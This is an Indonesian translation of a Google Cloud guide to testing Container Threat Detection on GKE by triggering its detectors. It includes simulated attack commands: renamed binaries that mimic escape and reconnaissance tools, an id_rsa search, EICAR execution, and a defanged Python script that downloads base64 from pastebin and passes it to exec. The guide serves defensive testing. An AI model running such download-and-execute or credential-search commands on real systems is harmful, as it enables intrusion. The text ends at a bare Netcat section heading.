Menguji Container Threat Detection

Halaman ini menjelaskan cara memverifikasi bahwa Container Threat Detection berfungsi dengan sengaja memicu detector dan memeriksa temuan. Container Threat Detection adalah layanan bawaan dari paket Premium dan Enterprise Security Command Center. Untuk melihat temuan Deteksi Ancaman Container, layanan ini harus diaktifkan di setelan Layanan Security Command Center.

Sebelum memulai

Untuk mendeteksi potensi ancaman terhadap penampung, Anda harus memastikan bahwa cluster Anda menggunakan Google Kubernetes Engine (GKE) versi yang didukung. Untuk mengetahui informasi selengkapnya, lihat menggunakan versi GKE yang didukung.

Mengaktifkan detektor

Detektor Added Binary Executed, Added Library Loaded, Execution: Program Run with Disallowed HTTP Proxy Env, Exfiltration: Launch Remote File Copy Tools in Container, dan Defense Evasion: Launch Code Compiler Tool In Container dinonaktifkan secara default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya secara eksplisit:

  1. Periksa status detektor:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. Aktifkan detektor Added Binary Executed:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. Aktifkan detektor Added Library Loaded:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  4. Aktifkan detektor Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  5. Aktifkan detektor Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    
  6. Aktifkan detektor Defense Evasion: Launch Code Compiler Tool In Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
        --project=${PROJECT}
    

Menetapkan variabel lingkungan

Untuk menguji detektor, Anda menggunakan Google Cloud konsol dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell untuk mempermudah menjalankan perintah. Variabel berikut digunakan untuk menguji semua pendeteksi Container Threat Detection.

  1. Buka Google Cloud console.

    Buka Google Cloud konsol

  2. Pilih project yang berisi penampung yang ingin Anda gunakan untuk pengujian.

  3. Klik Aktifkan Cloud Shell.

  4. Di Cloud Shell, tetapkan variabel lingkungan.

    1. Zona tempat cluster Anda berada:

      export ZONE=CLUSTER_ZONE
      
    2. Project tempat penampung Anda berada:

      export PROJECT=PROJECT_ID
      
    3. Nama cluster Anda:

      export CLUSTER_NAME=CLUSTER_NAME
      

Variabel ditetapkan. Bagian berikut menyertakan petunjuk untuk menguji pendeteksi Pendeteksian Ancaman Penampung.

Menambahkan Binary Executed

Untuk memicu temuan Binary Ditambahkan yang Dieksekusi, letakkan biner di penampung dan eksekusi. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, lalu mengeksekusinya. Eksekusi biner tidak terduga karena salinan biner bukan bagian dari image container asli, meskipun image tersebut ada di Ubuntu 24.04, dan container dimaksudkan untuk tidak dapat diubah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Letakkan biner dan jalankan:

    • Node x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Node ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Prosedur pengujian ini akan membuat temuan Binary Ditambahkan yang dieksekusi yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Deteksi Ancaman Penampung akan memfilter temuan Eksekusi Biner yang Ditambahkan untuk sementara. Untuk melihat semua temuan Binary yang Dijalankan yang Ditambahkan saat penampung sedang disiapkan, awali nama penampung atau nama pod dengan ktd-test, seperti dalam contoh.

Library yang Ditambahkan Dimuat

Untuk memicu temuan Library Ditambahkan Dimuat, letakkan library di penampung, lalu muat. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /lib/x86_64-linux-gnu/libc.so.6 ke lokasi lain, lalu memuat menggunakan ld. Library yang dimuat tidak terduga karena salinan library bukan bagian dari image penampung asli, meskipun image tersebut ada di Ubuntu 24.04, dan penampung dimaksudkan untuk tidak dapat diubah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Letakkan library dan gunakan ld untuk memuatnya:

    • Node x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Node ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Prosedur pengujian ini akan membuat temuan Library Ditambahkan yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection akan memfilter temuan Library yang Dimuat yang Ditambahkan untuk sementara. Untuk melihat semua temuan Library yang Ditambahkan dan Dimuat saat penampung sedang disiapkan, awali nama penampung atau nama pod dengan ktd-test, seperti dalam contoh.

Command and Control: Alat Steganografi Terdeteksi

Untuk memicu penemuan Command and Control: Steganography Tool Detected (Pratinjau), biner dengan kemampuan manipulasi file yang konsisten dengan alat steganografi harus dijalankan dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Alat ini menyalin /bin/ls dan mengganti namanya menjadi steghide (atau alat steganografi lain seperti stegano). Perilaku ini ditandai sebagai tindakan mencurigakan karena dapat menunjukkan upaya untuk menyiapkan penampung guna menyembunyikan atau mengekstrak data, yang berpotensi untuk tujuan berbahaya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat steganografi seperti steghide:

    • Node x86:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • Node ARM:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool Detected yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi

Untuk memicu temuan Credential Access: Search Private Keys or Passwords, biner yang dapat menelusuri isi file harus dieksekusi dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Perintah ini menyalin /bin/ls dan mengganti namanya menjadi find (atau utilitas penelusuran lain yang sesuai seperti grep). Biner yang diganti namanya kemudian dieksekusi dengan argumen yang menentukan pola penelusuran yang menunjukkan kunci pribadi atau sandi, atau pola konten yang menyarankan sandi atau rahasia. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba menemukan informasi sensitif seperti kunci pribadi atau sandi dalam lingkungan container.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • Node ARM:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Prosedur pengujian ini akan membuat temuan Credential Access: Search Private Keys or Passwords yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Penampung

Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container (Pratinjau), alat compiler kode harus dijalankan dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Perilaku ini menyalin /bin/ls dan mengganti namanya menjadi gcc10 (atau compiler lain seperti clang). Perilaku ini ditandai sebagai mencurigakan karena dapat menunjukkan upaya untuk mengompilasi dan mengeksekusi kode malicious dalam penampung untuk menghindari deteksi atau mengubah perilakunya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner compiler seperti gcc10 dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • Node ARM:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool In Container yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Program Biner Berbahaya Tambahan Dieksekusi

Untuk memicu temuan Eksekusi: Menambahkan temuan Eksekusi Biner Berbahaya, letakkan biner berbahaya di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, membuat file berbahaya simulasi, lalu mengeksekusinya. Eksekusi biner tidak diharapkan karena simulasi biner berbahaya bukan bagian dari image penampung asli, dan biner adalah file pengujian EICAR, file yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Letakkan biner EICAR dan jalankan:

    • Node x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Node ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Prosedur pengujian ini akan membuat temuan Execution: Added Malicious Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection akan memfilter sementara temuan Eksekusi: Menambahkan Binary Berbahaya yang Dieksekusi. Untuk melihat semua temuan Eksekusi: Menambahkan Binary Berbahaya yang Dieksekusi saat penampung disiapkan, awali nama penampung atau nama pod dengan ktd-test, seperti dalam contoh.

Eksekusi: Container Escape

Untuk memicu temuan Eksekusi: Container Escape, tempatkan biner di penampung dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan (botb-linux-amd64), dan mengeksekusinya dengan argumen tambahan. Tindakan ini dianggap mencurigakan karena eksekusi ini menyimulasikan perilaku yang konsisten dengan upaya keluar dari penampung.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Letakkan biner alat Eksploitasi Penampung seperti botb-linux-amd64 dan jalankan:

    • Node x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Node ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Prosedur pengujian ini akan membuat temuan Execution: Container Escape yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Eksekusi Kerentanan Nightmare Ingress

Untuk memicu temuan Eksekusi: Eksekusi Kerentanan Nightmare Ingress (Pratinjau), jalankan biner nginx di penampung Anda. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi biner Nginx (nginx), dan mengeksekusinya dengan argumen tambahan yang mereferensikan sistem file /proc. Tindakan ini dianggap mencurigakan karena menyimulasikan perilaku yang konsisten dengan eksploit Ingress Nightmare (CVE-2025-1974), sehingga menunjukkan potensi eksekusi kode jarak jauh.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Buat biner Nginx seperti nginx dan jalankan saat mengakses sistem file /proc:

    • Node x86:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • Node ARM:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Prosedur pengujian ini membuat temuan Eksekusi: Eksekusi Kerentanan Nightmare Logging yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center

Eksekusi: Eksekusi Alat Serangan Kubernetes

Untuk memicu temuan Eksekusi: Eksekusi Alat Serangan Kubernetes, tempatkan biner di penampung dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan (amicontained), dan mengeksekusinya. Tindakan ini dianggap mencurigakan karena menyimulasikan perilaku yang konsisten dengan potensi upaya eksekusi alat serangan Kubernetes.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Letakkan biner alat Serangan Kubernetes seperti amicontained dan jalankan:

    • Node x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Node ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Prosedur pengujian ini akan membuat temuan Execution: Kubernetes Attack Tool Execution yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Eksekusi Alat Pengintaian Lokal

Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, tempatkan biner di penampung dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan (linenum.sh), dan mengeksekusinya. Tindakan ini dianggap mencurigakan karena mengeksekusi biner yang diganti namanya menyimulasikan perilaku yang konsisten dengan upaya pengintaian lokal.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Masukkan biner alat Reconnaissance Lokal seperti linenum.sh dan jalankan biner tersebut:

    • Node x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Node ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Prosedur pengujian ini akan membuat temuan Eksekusi: Eksekusi Alat Pengintaian Lokal yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Penampung. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Python Berbahaya Dieksekusi

Untuk memicu temuan Eksekusi: Python Berbahaya Dijalankan, Anda dapat menjalankan Python dalam prosedur berikut di penampung.

Prosedur ini men-deploy image Python terbaru, menyalin kode Python yang terlihat berbahaya, lalu mengeksekusinya. Untuk memicu deteksi, kode Python harus tampak berbahaya bagi pendeteksi.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan skrip berikut dalam penampung baru.

    Kode Python ini berasal dari honeypot. Namun, file tersebut dimodifikasi agar tidak mengeksekusi biner berbahaya. Menjalankan skrip tidak akan menyebabkan aktivitas berbahaya di penampung Anda. Biner di URL yang dirujuk tidak ada dan upaya untuk mengikuti URL akan menghasilkan error 404. Hal ini sudah diperkirakan. Upaya untuk mendownload, mendekode, dan mengeksekusi biner menggunakan skrip inline adalah yang memicu deteksi.

    • Node x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Node ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Prosedur pengujian ini membuat temuan Execution: Malicious Python Executed yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda mengonfigurasi logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Biner Berbahaya yang Dimodifikasi Dieksekusi

Untuk memicu temuan Eksekusi: Biner Berbahaya yang Dimodifikasi Dijalankan, ubah biner berbahaya di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, mengubah /bin/ls menjadi file berbahaya yang menguji EICAR, lalu mengeksekusinya. Eksekusi biner tidak diharapkan karena /bin/ls yang dibuat diubah selama runtime penampung sebagai biner berbahaya pengujian EICAR, dan biner EICAR adalah file berbahaya yang diketahui sesuai dengan intelijen ancaman.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses panel kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Letakkan biner EICAR dan jalankan:

    • Node x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • Node ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Prosedur pengujian ini akan membuat temuan Execution: Modified Malicious Binary Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Untuk pengurangan derau, saat Anda pertama kali membuat penampung, Container Threat Detection akan memfilter temuan Eksekusi: Eksekusi Biner Berbahaya yang Diubah untuk sementara. Untuk melihat semua temuan Eksekusi: Biner Berbahaya yang Diubah dan Dieksekusi saat penampung disiapkan, awali nama penampung atau nama pod dengan ktd-test, seperti dalam contoh.

Eksekusi: Eksekusi Kode Jarak Jauh Netcat Dalam Penampung

